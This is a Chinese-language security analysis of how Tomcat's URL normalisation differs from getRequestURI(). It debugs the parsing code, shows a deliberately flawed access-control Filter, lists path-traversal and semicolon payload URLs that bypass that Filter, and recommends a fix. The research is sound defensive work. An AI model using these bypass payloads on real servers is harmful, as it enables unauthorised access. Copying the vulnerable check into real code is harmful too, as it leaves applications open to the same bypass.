Tomcat URL解析差异性导致的安全问题分析
0x01 简介
Tomcat是常见的Web中间件,利用NIO技术处理HTTP请求。在接收到请求时会对客户端提交的参数、URL、Header和Body数据进行解析,并生成Request对象,然后调用实际的JSP或Servlet。
当后台程序使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含特殊符号,可能造成访问限制绕过的安全风险。
0x02 URL解析差异性
HttpServletRequest中几个解析URL的函数
在Servlet处理URL请求的路径时,HTTPServletRequest有如下常用函数:
request.getRequestURL():返回全路径request.getRequestURI():返回除去Host(域名或IP)部分的路径request.getContextPath():返回工程名部分,如果工程映射为/,则返回为空request.getServletPath():返回除去Host和工程名部分的路径request.getPathInfo():仅返回传递到Servlet的路径,如果没有传递额外的路径信息,则返回Null
特殊字符的URL解析
通过实验测试Tomcat对不同特殊字符的处理:
正常访问
http://localhost:8080/urltest/index.jsp - 正常输出各函数解析结果
插入 ./ 访问
http://localhost:8080/urltest/./././index.jsp - 能正常访问
http://localhost:8080/urltest/.a/.bb/.ccc/index.jsp - 返回404
插入 ../ 访问
http://localhost:8080/urltest/../index.jsp - 返回404(实际访问/index.jsp)
http://localhost:8080/urltest/noexist/../index.jsp - 能正常访问
插入 ;/ 访问
http://localhost:8080/urltest/;/;/;/index.jsp - 能正常访问
http://localhost:8080/urltest/;a/;bb/;ccc/index.jsp - 能正常访问
插入其他特殊字符访问
~ ! @ # $ % ^ & * ( ) - _ = + [ ] { } \ | : ' " < > ?` - 均返回400或404
小结
Tomcat中的URL解析支持嵌入./、../、;xx/等特殊字符。getRequestURL()和getRequestURI()这两个函数解析提取的URL内容包含嵌入的特殊字符,使用不当时会存在安全问题如绕过认证。
0x03 调试分析
Tomcat对URL特殊字符的处理
Tomcat在CoyoteAdapter.service()函数中对请求URL进行解析处理,主要调用两个关键函数:
-
parsePathParameters()函数:- 寻找URL中的
;号 - 将
;xxx/中的分号与斜杠之间的字符串以及分号本身都去掉 - 处理示例:
http://localhost:8080/urltest/;mi1k7ea/index.jsp
- 寻找URL中的
-
normalize()函数:- 将
\替换为/ - 删除连续的
/只保留一个 - 删除
/./ - 对
/../进行跨目录拼接处理 - 返回处理后的URL路径
- 将
各解析函数的处理细节
-
getRequestURI():- 直接返回请求的URL内容,不做任何处理及URL解码
-
getRequestURL():- 提取协议类型、host和port
- 调用
getRequestURI()获取路径 - 直接拼接返回,不做任何处理
-
getServletPath():- 返回Tomcat处理后的
MappingData类对象中的wrapperPath属性值
- 返回Tomcat处理后的
-
getPathInfo():- 返回
MappingData类对象中的pathInfo属性值
- 返回
-
getContextPath():- 获取Servlet上下文路径和请求目录路径
- 处理连续的
/ - 进行工程名切分提取
- 对切分结果进行特殊字符处理和URL解码
- 返回处理后的路径
0x04 攻击利用
访问限制绕过场景
假设存在敏感目录/urltest/info/secret.jsp,配置了Filter进行访问控制:
public void doFilter(...) {
String url = httpServletRequest.getRequestURI();
if (url.startsWith("/urltest/info")) {
httpServletResponse.getWriter().write("No Permission.");
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
绕过方式
利用URL解析差异性构造以下payload可绕过限制:
http://localhost:8080/urltest/./info/secret.jsphttp://localhost:8080/urltest/;mi1k7ea/info/secret.jsphttp://localhost:8080/urltest/mi1k7ea/../info/secret.jsphttp://localhost:8080/urltest/mi1k7ea/..;/info/secret.jsphttp://localhost:8080//urltest/info/secret.jsp
修复方案
使用getPathInfo()替代getRequestURI(),如Apache Shiro的修复方案所示。
0x05 参考
- getRequestURI()带来的安全问题
- Apache Shiro修复commit: https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce